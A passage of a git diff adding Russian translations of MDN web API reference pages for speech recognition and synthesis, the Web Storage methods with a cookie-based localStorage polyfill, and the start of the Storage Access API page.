+  recognition.start();
+  console.log('Ready to receive a color command.');
+}
+
+recognition.onresult = function(event) {
+  var color = event.results[0][0].transcript;
+  diagnostic.textContent = 'Result received: ' + color;
+  bg.style.backgroundColor = color;
+}
+ +

Specifications

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарии
{{SpecName('Web Speech API', '#speechreco-section', 'SpeechRecognition')}}{{Spec2('Web Speech API')}} 
+ +

Совместимость браузеров

+ +
Таблица совместимостей
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Базовая поддержкаCompatChrome(33)}}property_prefix("webkit")[1]Не совместима[2]Не совместимаНе совместимаНе совместима
постояннаяCompatChrome(33) [1]Не совместимаНе совместимаНе совместимаНе совместима
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChromeFirefox Mobile (Gecko)Firefox OSIE PhoneOpera MobileSafari Mobile
Basic supportНеизвестноНеизвестная совместимая версия [1]Совместим с GeckoMobile(44)2.5Не совместимаНе совместимаНе совместима
continuousНеизвестноНеизвестная совместимая версия[1]Совместимость неизвестнаНе совместимаНе совместимаНе совместимаНе совместима
+
+ + + +

Firefox OS разрешения

+ +

Чтобы использовать распознавание речи в приложении, вам необходимо указать следующие разрешения в своем manifest:

+ +
"permissions": {
+  "audio-capture" : {
+    "description" : "Audio capture"
+  },
+  "speech-recognition" : {
+    "description" : "Speech recognition"
+  }
+}
+ +

Вам также нужно привилегированное приложение, поэтому вам необходимо также включить его:

+ +
  "type": "privileged"
+ +

Смотрите также

+ + diff --git a/files/ru/web/api/speechsynthesisutterance/index.html b/files/ru/web/api/speechsynthesisutterance/index.html new file mode 100644 index 0000000000..94c0d175d6 --- /dev/null +++ b/files/ru/web/api/speechsynthesisutterance/index.html @@ -0,0 +1,120 @@ +--- +title: SpeechSynthesisUtterance +slug: Web/API/SpeechSynthesisUtterance +translation_of: Web/API/SpeechSynthesisUtterance +--- +

{{APIRef("Web Speech API")}}{{SeeCompatTable}}

+ +

The SpeechSynthesisUtterance interface of the Web Speech API represents a speech request. It contains the content the speech service should read and information about how to read it (e.g. language, pitch and volume.)

+ +

Конструктор

+ +
+
{{domxref("SpeechSynthesisUtterance.SpeechSynthesisUtterance()")}}
+
Возвращает новый экземпляр объекта SpeechSynthesisUtterance
+
+ +

Свойства

+ +

SpeechSynthesisUtterance еще наследует свойства из его своего родительского интерфейса {{domxref("EventTarget")}}.

+ +
+
{{domxref("SpeechSynthesisUtterance.lang")}}
+
Получает и устанавливает язык высказывания.
+
{{domxref("SpeechSynthesisUtterance.pitch")}}
+
Получает и устанавливает высоту, на которой произносится высказывание
+
{{domxref("SpeechSynthesisUtterance.rate")}}
+
Получает и устанавливает скорость, с которой будет произноситься высказывание.
+
{{domxref("SpeechSynthesisUtterance.text")}}
+
Получает и устанавливает текст, который будет синтезироваться при произнесении высказывания.
+
{{domxref("SpeechSynthesisUtterance.voice")}}
+
Получает и устанавливает голос, который будет использоваться для произнесения речи.
+
{{domxref("SpeechSynthesisUtterance.volume")}}
+
Получает и устанавливает громкость, на котором будет произноситься высказывание.
+
+ +

Обработчики событий

+ +
+
{{domxref("SpeechSynthesisUtterance.onboundary")}}
+
Срабатывает, когда произнесенное высказывание достигает границы слова или предложения.
+
{{domxref("SpeechSynthesisUtterance.onend")}}
+
Срабатывает, когда произнесение произнесено.
+
{{domxref("SpeechSynthesisUtterance.onerror")}}
+
Срабатывает, когда возникает ошибка, которая препятствует успешному произнесению высказывания.
+
{{domxref("SpeechSynthesisUtterance.onmark")}}
+
Срабатывает, когда произнесенное высказывание достигает названного тега метки «SSML».
+
{{domxref("SpeechSynthesisUtterance.onpause")}}
+
Срабатывает, когда высказывание приостановлено.
+
{{domxref("SpeechSynthesisUtterance.onresume")}}
+
Срабатывает, когда приостановленное высказывание возобновляется.
+
{{domxref("SpeechSynthesisUtterance.onstart")}}
+
Срабатывает, когда произнесение произнесено.
+
+ +

Examples

+ +

В нашей базовой Демо-версия синтезатора речи, мы сначала получаем ссылку на контроллер SpeechSynthesis, используя window.speechSynthesis. После определения некоторых необходимых переменных мы получаем список доступных голосов, используя {{domxref("SpeechSynthesis.getVoices()")}}, и заполнить меню выбора с ними, чтобы пользователь мог выбрать, какой голос он хочет.

+ +

Внутри обработчика inputForm.onsubmit мы останавливаем отправку формы с помощью preventDefault(), используйте {{domxref("SpeechSynthesisUtterance.SpeechSynthesisUtterance()", "constructor")}} для создания нового экземпляра высказывания, содержащего текст из текста {{htmlelement("input")}}, установите {{domxref("SpeechSynthesisUtterance.voice","voice")}}на голос, выбранный в элементе {{htmlelement("select")}} и начните высказывание через {{domxref("SpeechSynthesis.speak()")}} метод.

+ +
var synth = window.speechSynthesis;
+
+var inputForm = document.querySelector('form');
+var inputTxt = document.querySelector('input');
+var voiceSelect = document.querySelector('select');
+
+var voices = synth.getVoices();
+
+for(i = 0; i < voices.length ; i++) {
+  var option = document.createElement('option');
+  option.textContent = voices[i].name + ' (' + voices[i].lang + ')';
+  option.setAttribute('data-lang', voices[i].lang);
+  option.setAttribute('data-name', voices[i].name);
+  voiceSelect.appendChild(option);
+}
+
+inputForm.onsubmit = function(event) {
+  event.preventDefault();
+
+  var utterThis = new SpeechSynthesisUtterance(inputTxt.value);
+  var selectedOption = voiceSelect.selectedOptions[0].getAttribute('data-name');
+  for(i = 0; i < voices.length ; i++) {
+    if(voices[i].name === selectedOption) {
+      utterThis.voice = voices[i];
+    }
+  }
+  synth.speak(utterThis);
+  inputTxt.blur();
+}
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Speech API', '#utterance-attributes', 'SpeechSynthesisUtterance')}}{{Spec2('Web Speech API')}} 
+ +

Browser compatibility

+ +
+ + +

{{Compat("api.SpeechSynthesisUtterance")}}

+
+ +

See also

+ + diff --git a/files/ru/web/api/storage/clear/index.html b/files/ru/web/api/storage/clear/index.html new file mode 100644 index 0000000000..ca829dae1b --- /dev/null +++ b/files/ru/web/api/storage/clear/index.html @@ -0,0 +1,121 @@ +--- +title: Storage.clear() +slug: Web/API/Storage/clear +translation_of: Web/API/Storage/clear +--- +

{{APIRef("Web Storage API")}}

+ +

Метод clear() интерфейса {{domxref("Storage")}} удалит все значения из хранилища.

+ +

Синтаксис

+ +
storage.clear();
+ +

Параметры

+ +

Метод не принимает параметры.

+ +

Возвращаемое значение

+ +

Метод не возвращает значение.

+ +

Пример

+ +

Следующая функция создает 3 записи в локальном хранилище, после этого все значения удаляются с помощью метода clear().

+ +
function populateStorage() {
+  localStorage.setItem('bgcolor', 'red');
+  localStorage.setItem('font', 'Helvetica');
+  localStorage.setItem('image', 'myCat.png');
+
+  localStorage.clear();
+}
+ +
+

Примечание: Чтобы вживую посмотреть на работу функции, посетите страницу демонстрации Web Storage.

+
+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('Web Storage', '#dom-storage-clear', 'clear()')}}{{Spec2('Web Storage')}} 
+ +

Поддержка браузерами

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
ХарактеристикаChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
localStorage43.5810.504
sessionStorage52810.504
+
+ +
+ + + + + + + + + + + + + + + + + + + +
ХарактеристикаAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support2.1{{ CompatUnknown }}811iOS 3.2
+
+ +

Все браузеры имеют различный уровень объема для localStorage и sessionStorage. Здесь подробное описание объема хранилищ для разных браузеров.

+ +
+

Примечание: Начиная с версии iOS 5.1, Safari Mobile хранит данные localStorage в папке cache, которая периодически подлежит очистке по требованию ОС, как правило при недостаточном количестве свободного места.

+
+ +

Смотрите также

+ +

Using the Web Storage API

diff --git a/files/ru/web/api/storage/getitem/index.html b/files/ru/web/api/storage/getitem/index.html new file mode 100644 index 0000000000..1780f54ec3 --- /dev/null +++ b/files/ru/web/api/storage/getitem/index.html @@ -0,0 +1,131 @@ +--- +title: Storage.getItem() +slug: Web/API/Storage/getItem +translation_of: Web/API/Storage/getItem +--- +

{{APIRef("Web Storage API")}}

+ +

Если в метод getItem() интерфейса {{domxref("Storage")}} передать ключ в качестве параметра, то метод вернет значение, лежащее в хранилище по указанному ключу.

+ +

Синтаксис

+ +
var aValue = storage.getItem(названиеКлюча);
+
+ +

Параметры

+ +
+
названиеКлюча
+
Является строкой {{domxref("DOMString")}}, содержащей название ключа, по которому получается значение из хранилища.
+
+ +

Возвращаемые значения

+ +

Является строкой {{domxref("DOMString")}}, содержащей значение для соответствующего ключа.  Если ключ не существует, то будет возвращено значение null.

+ +

Пример

+ +

Следующая функция получает 3 значения из локального хранилища, после этого они используются для установки стилей на странице.

+ +
function setStyles() {
+  var currentColor = localStorage.getItem('bgcolor');
+  var currentFont = localStorage.getItem('font');
+  var currentImage = localStorage.getItem('image');
+
+  document.getElementById('bgcolor').value = currentColor;
+  document.getElementById('font').value = currentFont;
+  document.getElementById('image').value = currentImage;
+
+  htmlElem.style.backgroundColor = '#' + currentColor;
+  pElem.style.fontFamily = currentFont;
+  imgElem.setAttribute('src', currentImage);
+}
+ +
+

Примечание: Чтобы вживую посмотреть на работу функции, посетите страницу демонстрации Web Storage.

+
+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('Web Storage', '#dom-storage-getitem', 'getItem()')}}{{Spec2('Web Storage')}}
+ +

Поддержка браузерами

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
ХарактеристикаChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
localStorage43.5810.504
sessionStorage52810.504
+
+ +
+ + + + + + + + + + + + + + + + + + + +
ХарактеристикаAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support2.1{{ CompatUnknown }}811iOS 3.2
+
+ +

Все браузеры имеют различный уровень объема для localStorage и sessionStorage. Здесь подробное описание объема хранилищ для разных браузеров.

+ +
+

Примечание: Начиная с версии iOS 5.1, Safari Mobile хранит данные localStorage в папке cache, которая периодически подлежит очистке по требованию ОС, как правило при недостаточном количестве свободного места

+
+ +

Смотрите также

+ +

Using the Web Storage API

diff --git a/files/ru/web/api/storage/index.html b/files/ru/web/api/storage/index.html new file mode 100644 index 0000000000..662d4c1057 --- /dev/null +++ b/files/ru/web/api/storage/index.html @@ -0,0 +1,164 @@ +--- +title: Storage +slug: Web/API/Storage +tags: + - API + - Interface + - NeedsTranslation + - Reference + - Storage + - Web Storage + - data +translation_of: Web/API/Storage +--- +

{{APIRef("Web Storage API")}}

+ +

Интерфейс Storage из Web Storage API предоставляет доступ для session storage или local storage для конкретного домена, позволяя вам к примеру добавлять, изменять или удалять сохранённые элементы данных.

+ +

Если вы хотите управлять session storage для домена, вы вызываете {{domxref("Window.sessionStorage")}} метод; Если вы хотите управлять local storage домена, вы вызываете {{domxref("Window.localStorage")}}.

+ +

Свойства

+ +
+
{{domxref("Storage.length")}} {{readonlyInline}}
+
Возвращает число, представляющее количество элементов в объекте Storage.
+
+ +

Методы

+ +
+
{{domxref("Storage.key()")}}
+
Приняв число n, метод вернёт имя n-ного ключа в Storage
+
+ +
+
{{domxref("Storage.getItem()")}}
+
Приняв имя ключа, метод вернёт для него значение.
+
{{domxref("Storage.setItem()")}}
+
Приняв имя ключа и значение, метод добавит этот ключ в Storage или обновит его значение, если ключ уже существовал.
+
{{domxref("Storage.removeItem()")}}
+
Приняв имя ключа, метод удалит этот ключ из Storage
+
{{domxref("Storage.clear()")}}
+
При вызове метод удалит все ключи из Storage.
+
+ +

Примеры

+ +

В данном примере мы получаем доступ к объекту Storage вызывая localStorage. Для начала мы проверяем содержит ли local storage элементы данных используя !localStorage.getItem('bgcolor'). Если да, мы вызываем функцию setStyles() которая получает элементы данных используя {{domxref("localStorage.getItem()")}} и использует их значения для обновления стилей на странице. Если нет, мы вызывает другую функцию, populateStorage(), которая использует {{domxref("localStorage.setItem()")}} что бы установить значения для элементов,  потом вызываем setStyles().

+ +
if(!localStorage.getItem('bgcolor')) {
+  populateStorage();
+} else {
+  setStyles();
+}
+
+function populateStorage() {
+  localStorage.setItem('bgcolor', document.getElementById('bgcolor').value);
+  localStorage.setItem('font', document.getElementById('font').value);
+  localStorage.setItem('image', document.getElementById('image').value);
+
+  setStyles();
+}
+
+function setStyles() {
+  var currentColor = localStorage.getItem('bgcolor');
+  var currentFont = localStorage.getItem('font');
+  var currentImage = localStorage.getItem('image');
+
+  document.getElementById('bgcolor').value = currentColor;
+  document.getElementById('font').value = currentFont;
+  document.getElementById('image').value = currentImage;
+
+  htmlElem.style.backgroundColor = '#' + currentColor;
+  pElem.style.fontFamily = currentFont;
+  imgElem.setAttribute('src', currentImage);
+}
+ +
+

Важно: Если хотите увидеть данный пример в работе, посмотрите наше Web Storage Demo.

+
+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацииСтатусКомментарий
{{SpecName('HTML WHATWG', 'webstorage.html#the-storage-interface', 'Storage')}}{{Spec2('HTML WHATWG')}}
+ +

Совместимость с браузерами

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
localStorage43.5810.504
sessionStorage52810.504
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support2.1{{ CompatUnknown }}811iOS 3.2
+
+ +

Все браузеры имеют различную вместимость для localStorage и sessionStorage. Вот подробное сравнение всех storage для различных браузеров.

+ +
+

Важно: Начиная с iOS 5.1, Safari Mobile хранит данные localStorage в папке кэша, которая является объектом для периодических чисток по желанию OS, в основном из-за нехватки памяти.

+
+ +

Смотрите также

+ +

Используя Web Storage API

diff --git a/files/ru/web/api/storage/key/index.html b/files/ru/web/api/storage/key/index.html new file mode 100644 index 0000000000..f8ff0d97b5 --- /dev/null +++ b/files/ru/web/api/storage/key/index.html @@ -0,0 +1,128 @@ +--- +title: Storage.key() +slug: Web/API/Storage/key +tags: + - API + - Storage + - Web Storage + - Справка + - Хранилище +translation_of: Web/API/Storage/key +--- +

{{APIRef()}}

+ +

Метод key() интерфейса {{domxref("Storage")}} получает числовое значение n и возвращает имя n-ого ключа из хранилища.  Порядок ключей определяется браузером.

+ +

Синтаксис

+ +
var aKeyName = storage.key(key);
+ +

Параметры

+ +
+
Ключ
+
Целое нумерованное значение представляющее номер ключа, которого Вы хотите получить. Индексация начинается с нуля. 
+
+ +

Возвращает

+ +

{{domxref("DOMString")}} , содержащий имя ключа.

+ +

Пример

+ +

Следующая функция перебирает все ключи из хранилища.

+ +
function forEachKey(callback) {
+  for (var i = 0; i < localStorage.length; i++) {
+    callback(localStorage.key(i));
+  }
+}
+ +
+

Примечание: Реальный пример Вы можете увидеть на Web Storage Demo.

+
+ +

Стандарты

+ + + + + + + + + + + + + + +
СтандартСтатусКомментарий
{{SpecName('Web Storage', '#dom-storage-key', 'key()')}}{{Spec2('Web Storage')}} 
+ +

Совместимость с браузерами

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
localStorage43.5810.504
sessionStorage52810.504
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support2.1{{ CompatUnknown }}811iOS 3.2
+
+ +

Все браузеры имеют различный уровень объема для localStorage и sessionStorage. Здесь вы найдете подробное описание объема хранилищ для разных браузеров.

+ +
+

Примечание: начиная с версии iOS 5.1, Safari Mobile хранит данные localStorage в папке с кэшем, которая может быть случайно  очищена по требованию OS, обычно это происходит, когда мало доступного места.

+
+ +

Смотрите также

+ +

Using the Web Storage API

diff --git a/files/ru/web/api/storage/length/index.html b/files/ru/web/api/storage/length/index.html new file mode 100644 index 0000000000..70722e9e11 --- /dev/null +++ b/files/ru/web/api/storage/length/index.html @@ -0,0 +1,122 @@ +--- +title: Storage.length +slug: Web/API/Storage/length +tags: + - API + - Storage + - Web Storage + - Справка +translation_of: Web/API/Storage/length +--- +

{{APIRef("Web Storage API")}}

+ +

Свойство length интерфейса {{domxref("Storage")}} доступно только для чтения и возвращает число с количеством элементов, которые хранятся в объекте Storage на данный момент.

+ +

Синтаксис

+ +
var aLength = storage.length;
+ +

Возвращаемые значения

+ +

Число

+ +

Пример

+ +

Следующая функция добавляет три элемента с данными в локальное хранилище для домена, на котором выполняется код и возвращает число элементов в хранилище:

+ +
function populateStorage() {
+  localStorage.setItem('bgcolor', 'yellow');
+  localStorage.setItem('font', 'Helvetica');
+  localStorage.setItem('image', 'cats.png');
+
+  localStorage.length; // return 3
+}
+ +
+

Примечание: чтобы посмотреть выполнение кода вживую, посетите страницу Web Storage Demo.

+
+ +

Спецификации

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('Web Storage', '#dom-storage-length', 'length')}}{{Spec2('Web Storage')}} 
+ +

Совместимость с браузерами

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
ХарактеристикаChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
localStorage43.5810.504
sessionStorage52810.504
+
+ +
+ + + + + + + + + + + + + + + + + + + +
ХарактеристикаAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support2.1{{ CompatUnknown }}811iOS 3.2
+
+ +

Все браузеры имют различный уровень объема для localStorage и sessionStorage. Здесь подробное описание объема хранилищ для разных браузеров.

+ +
+

Примечание: начиная с версии iOS 5.1, Safari Mobile хранит данные localStorage в папке с кэшем, которая может быть очищена случайно по требованию OS, обычно это происходит, когда мало доступного места.

+
+ +

Смотрите также

+ +

Использование Web Storage API

diff --git a/files/ru/web/api/storage/localstorage/index.html b/files/ru/web/api/storage/localstorage/index.html new file mode 100644 index 0000000000..e0a2cd72e7 --- /dev/null +++ b/files/ru/web/api/storage/localstorage/index.html @@ -0,0 +1,145 @@ +--- +title: LocalStorage +slug: Web/API/Storage/LocalStorage +translation_of: Web/API/Window/localStorage +--- +

localStorage это аналог sessionStorage, с некоторыми same-origin правилами, но значения хранятся постоянно (в отличии от sessions). localStorage появился в Firefox 3.5.

+ +
Примечание: Когда браузер переходит в режим приватного просмотра, создается новое временное хранилище. Изначально оно пустое. После выхода из режима приватного просмотра временное хранилище очищается.
+ +
// Сохраняет данные в текущий local store
+localStorage.setItem("username", "John");
+
+// Извлекает ранее сохраненные данные
+alert( "username = " + localStorage.getItem("username"));
+ +

localStorage's позволяет постоянно хранить некоторую полезную информацию, включая счетчики посещения страницы, как показано в примере this tutorial on Codepen.

+ +

Совместимость

+ +

Storage objects недавно добавлен в стандарт. Он может отсутствовать в некоторых браузерах. Вы можете работать с этой технологией добавив в страницу один из двух скриптов, которые представлены ниже. localStorage object реализуется програмно, если нет встроенной реализации.

+ +

Этот алгоритм является точной имитацией localStorage object, но для хранения использует cookies.

+ +
if (!window.localStorage) {
+  Object.defineProperty(window, "localStorage", new (function () {
+    var aKeys = [], oStorage = {};
+    Object.defineProperty(oStorage, "getItem", {
+      value: function (sKey) { return sKey ? this[sKey] : null; },
+      writable: false,
+      configurable: false,
+      enumerable: false
+    });
+    Object.defineProperty(oStorage, "key", {
+      value: function (nKeyId) { return aKeys[nKeyId]; },
+      writable: false,
+      configurable: false,
+      enumerable: false
+    });
+    Object.defineProperty(oStorage, "setItem", {
+      value: function (sKey, sValue) {
+        if(!sKey) { return; }
+        document.cookie = escape(sKey) + "=" + escape(sValue) + "; expires=Tue, 19 Jan 2038 03:14:07 GMT; path=/";
+      },
+      writable: false,
+      configurable: false,
+      enumerable: false
+    });
+    Object.defineProperty(oStorage, "length", {
+      get: function () { return aKeys.length; },
+      configurable: false,
+      enumerable: false
+    });
+    Object.defineProperty(oStorage, "removeItem", {
+      value: function (sKey) {
+        if(!sKey) { return; }
+        document.cookie = escape(sKey) + "=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/";
+      },
+      writable: false,
+      configurable: false,
+      enumerable: false
+    });
+    Object.defineProperty(oStorage, "clear", {
+      value: function () {
+        if(!aKeys.length) { return; }
+        for (var sKey in aKeys) {
+          document.cookie = escape(sKey) + "=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/";
+        }
+      },
+      writable: false,
+      configurable: false,
+      enumerable: false
+    });
+    this.get = function () {
+      var iThisIndx;
+      for (var sKey in oStorage) {
+        iThisIndx = aKeys.indexOf(sKey);
+        if (iThisIndx === -1) { oStorage.setItem(sKey, oStorage[sKey]); }
+        else { aKeys.splice(iThisIndx, 1); }
+        delete oStorage[sKey];
+      }
+      for (aKeys; aKeys.length > 0; aKeys.splice(0, 1)) { oStorage.removeItem(aKeys[0]); }
+      for (var aCouple, iKey, nIdx = 0, aCouples = document.cookie.split(/\s*;\s*/); nIdx < aCouples.length; nIdx++) {
+        aCouple = aCouples[nIdx].split(/\s*=\s*/);
+        if (aCouple.length > 1) {
+          oStorage[iKey = unescape(aCouple[0])] = unescape(aCouple[1]);
+          aKeys.push(iKey);
+        }
+      }
+      return oStorage;
+    };
+    this.configurable = false;
+    this.enumerable = true;
+  })());
+}
+
+ +
Примечание: Максимальныйe размер данных, которые могут быть сохранены, ограничен возможностями cookies. Используйте functions localStorage.setItem() и localStorage.removeItem() для добавления, изменения, или удаления ключа. Использование прямого присвоения localStorage.yourKey = yourValue; и delete localStorage.yourKey; для установки и удаления ключа не безопасно с этим кодом. Вы также можете изменить это имя (вместо window.localStorage прописать другое имя) и использовать объект для управления document's cookies, не обращая внимания на localStorage object.
+ +
Примечание: Если изменить строку "; expires=Tue, 19 Jan 2038 03:14:07 GMT; path=/" на: "; path=/" (и изменить имя объекта), он превратится в sessionStorage polyfill больше, чем в localStorage polyfill. Однако эта реализация будет хранить общие значения для всех вкладок и окон браузера (and will only be cleared when all browser windows have been closed), в то время как полностью совместимая sessionStorage реализация хранит значения to the current browsing context only.
+ +

Here is another, less exact, imitation of the localStorage object. It is simpler than the previous one, but it is compatible with old browsers, like Internet Explorer < 8 (tested and working even in Internet Explorer 6). It also makes use of cookies.

+ +
if (!window.localStorage) {
+  window.localStorage = {
+    getItem: function (sKey) {
+      if (!sKey || !this.hasOwnProperty(sKey)) { return null; }
+      return unescape(document.cookie.replace(new RegExp("(?:^|.*;\\s*)" + escape(sKey).replace(/[\-\.\+\*]/g, "\\$&") + "\\s*\\=\\s*((?:[^;](?!;))*[^;]?).*"), "$1"));
+    },
+    key: function (nKeyId) {
+      return unescape(document.cookie.replace(/\s*\=(?:.(?!;))*$/, "").split(/\s*\=(?:[^;](?!;))*[^;]?;\s*/)[nKeyId]);
+    },
+    setItem: function (sKey, sValue) {
+      if(!sKey) { return; }
+      document.cookie = escape(sKey) + "=" + escape(sValue) + "; expires=Tue, 19 Jan 2038 03:14:07 GMT; path=/";
+      this.length = document.cookie.match(/\=/g).length;
+    },
+    length: 0,
+    removeItem: function (sKey) {
+      if (!sKey || !this.hasOwnProperty(sKey)) { return; }
+      document.cookie = escape(sKey) + "=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/";
+      this.length--;
+    },
+    hasOwnProperty: function (sKey) {
+      return (new RegExp("(?:^|;\\s*)" + escape(sKey).replace(/[\-\.\+\*]/g, "\\$&") + "\\s*\\=")).test(document.cookie);
+    }
+  };
+  window.localStorage.length = (document.cookie.match(/\=/g) || window.localStorage).length;
+}
+
+ +
Note: The maximum size of data that can be saved is severely restricted by the use of cookies. With this algorithm, use the functions localStorage.getItem(), localStorage.setItem(), and localStorage.removeItem() to get, add, change, or remove a key. The use of method localStorage.yourKey in order to get, set, or delete a key is not permitted with this code. You can also change its name and use it only to manage a document's cookies regardless of the localStorage object.
+ +
Note: By changing the string "; expires=Tue, 19 Jan 2038 03:14:07 GMT; path=/" to: "; path=/" (and changing the object's name), this will become a sessionStorage polyfill rather than a localStorage polyfill. However, this implementation will share stored values across browser tabs and windows (and will only be cleared when all browser windows have been closed), while a fully-compliant sessionStorage implementation restricts stored values to the current browsing context only.
+ +

Compatibility and relation with globalStorage

+ +

localStorage is also the same as globalStorage[location.hostname], with the exception of being scoped to an HTML5 origin (scheme + hostname + non-standard port) and localStorage being an instance of Storage as opposed to globalStorage[location.hostname] being an instance of StorageObsolete which is covered below. For example, http://example.com is not able to access the same localStorage object as https://example.com but they can access the same globalStorage item. localStorage is a standard interface while globalStorage is non-standard so you shouldn't rely on these.

+ +

Please note that setting a property on globalStorage[location.hostname] does not set it on localStorage and extending Storage.prototype does not affect globalStorage items; only extending StorageObsolete.prototype does.

+ +

Storage format

+ +

Storage keys and values are both stored in the UTF-16 DOMString format, which uses 2 bytes per character.

+ +

 

diff --git a/files/ru/web/api/storage/removeitem/index.html b/files/ru/web/api/storage/removeitem/index.html new file mode 100644 index 0000000000..d5b1a628e4 --- /dev/null +++ b/files/ru/web/api/storage/removeitem/index.html @@ -0,0 +1,70 @@ +--- +title: Storage.removeItem() +slug: Web/API/Storage/removeItem +tags: + - API + - Storage + - Справка +translation_of: Web/API/Storage/removeItem +--- +

{{APIRef("Web Storage API")}}

+ +

Если методу removeItem() интерфейса {{domxref("Storage")}} передать ключ, то из хранилища будет удален элемент с указанным ключем. 

+ +

Синтаксис

+ +
storage.removeItem(keyName);
+ +

Параметры

+ +
+
названиеКлюча
+
{{domxref("DOMString")}} содержит в себе название ключа.
+
+ +

Возвращает

+ +

Метод не возвращает значений.

+ +

Пример

+ +

Следующая функция создает три элемента внутри локального хранилища и потом удаляет элемент с ключом image.

+ +
function populateStorage() {
+  localStorage.setItem('bgcolor', 'red');
+  localStorage.setItem('font', 'Helvetica');
+  localStorage.setItem('image', 'myCat.png');
+
+  localStorage.removeItem('image');
+}
+ +
+

Примечание:  чтобы увидеть использование этой функции на реальном примере, загляните в Web Storage Demo.

+
+ +

Стандарты

+ + + + + + + + + + + + + + +
СтандартСтатусКомментарий
{{SpecName('Web Storage', '#dom-storage-removeitem', 'removeItem()')}}{{Spec2('Web Storage')}}
+ +

Совместимость с браузерами

+ + + +

{{Compat("api.Storage.removeItem")}}

+ +

Смотрите также

+ +

Using the Web Storage API

diff --git a/files/ru/web/api/storage/setitem/index.html b/files/ru/web/api/storage/setitem/index.html new file mode 100644 index 0000000000..981eedf10f --- /dev/null +++ b/files/ru/web/api/storage/setitem/index.html @@ -0,0 +1,130 @@ +--- +title: Storage.setItem() +slug: Web/API/Storage/setItem +tags: + - API + - Storage + - Web Storage + - localStorage + - Справка +translation_of: Web/API/Storage/setItem +--- +

{{APIRef("Web Storage API")}}

+ +

Если методу setItem() интерфейса {{domxref("Storage")}} передать ключ и значение, то в хранилище будет добавлено соответствующее ключу значение, либо, если запись уже есть в хранилище, то значение по ключу будет обновлено.

+ +

Синтаксис

+ +
storage.setItem(названиеКлюча, значениеКлюча);
+ +

Параметры

+ +
+
названиеКлюча
+
Является строкой {{domxref("DOMString")}} содержащей название ключа, значение которого будет добавлено/обновлено.
+
значениеКлюча
+
Является строкой {{domxref("DOMString")}} содержащей значение ключа, которое будет добавлено/обновлено.
+
+ +

Возвращаемые значения

+ +

Метод не возвращает значений.

+ +

Пример

+ +

Следующая функция создает три элемента с данными в хранилище.

+ +
function populateStorage() {
+  localStorage.setItem('bgcolor', 'red');
+  localStorage.setItem('font', 'Helvetica');
+  localStorage.setItem('image', 'myCat.png');
+}
+ +
+

Примечание: Чтобы вживую посмотреть на работу функции, посетите страницу демонстрации Web Storage.

+
+ +

Характеристики

+ + + + + + + + + + + + + + +
ХарактеристикаСтатусКомментарий
{{SpecName('Web Storage', '#dom-storage-setitem', 'setItem()')}}{{Spec2('Web Storage')}} 
+ +

Совместимость с браузерами

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
localStorage43.5810.504
sessionStorage52810.504
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support2.1{{ CompatUnknown }}811iOS 3.2
+
+ +

Все браузеры имеют различный уровень объема для localStorage и sessionStorage. Здесь подробное описание объема хранилищ для разных браузеров.

+ +
+

Примечание: начиная с версии iOS 5.1, Safari Mobile хранит данные localStorage в папке с кэшем, которая может быть очищена случайно по требованию OS, обычно это происходит, когда мало доступного места.

+
+ +

Смотрите также

+ +

Использование Web Storage API

diff --git a/files/ru/web/api/storage_access_api/index.html b/files/ru/web/api/storage_access_api/index.html new file mode 100644 index 0000000000..f9c79c5704 --- /dev/null +++ b/files/ru/web/api/storage_access_api/index.html @@ -0,0 +1,93 @@ +--- +title: Storage Access API +slug: Web/API/Storage_Access_API +tags: + - API + - Reference + - Storage + - Storage Access API +translation_of: Web/API/Storage_Access_API +--- +
{{DefaultAPISidebar("Storage Access API")}}{{seecompattable}}
+ +

The Storage Access API provides a way for embedded, cross-origin content to gain unrestricted access to storage that it would normally only have access to in a first-party context (we refer to this as an origin’s first-party storage). The API provides methods that allow embedded resources to check whether they currently have access to their first-party storage, and to request access to their first-party storage from the user agent.

+ +

Концепции и использование

+ +

Most browsers implement a number of storage access policies that restrict access to cookies and site data for embedded, cross-origin resources. These restrictions range from giving embedded resources under each top-level origin a unique storage space to outright blocking of storage access when resources are loaded in a third-party context.

+ +

